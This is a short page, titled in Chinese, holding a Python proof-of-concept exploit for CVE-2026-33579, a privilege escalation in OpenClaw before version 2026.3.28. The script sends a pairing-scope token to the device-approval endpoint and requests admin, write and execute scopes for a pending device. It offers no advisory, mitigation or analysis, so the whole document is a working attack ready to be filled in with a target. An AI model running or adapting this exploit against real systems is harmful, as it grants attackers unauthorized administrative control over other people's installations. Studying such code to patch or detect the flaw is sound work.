CVE-2026-33579 OpenClaw权限提升漏洞

import requests # Exploit for CVE-2026-33579: OpenClaw Privilege Escalation # Target: OpenClaw < 2026.3.28 TARGET_URL = "http://vulnerable-openclaw-instance/api/pair/approve" ATTACKER_TOKEN = "VALID_PAIRING_SCOPE_TOKEN_HERE" DEVICE_ID = "TARGET_PENDING_DEVICE_ID" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # The payload requests 'admin' scope which the attacker does not possess payload = { "device_id": DEVICE_ID, "requested_scope": ["admin", "read", "write", "execute"] } try: print(f"[*] Attempting to approve device {DEVICE_ID} with escalated privileges...") response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Device approved with Admin scope.") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploit failed. Status Code: {response.status_code}") print(f"[-] Details: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}")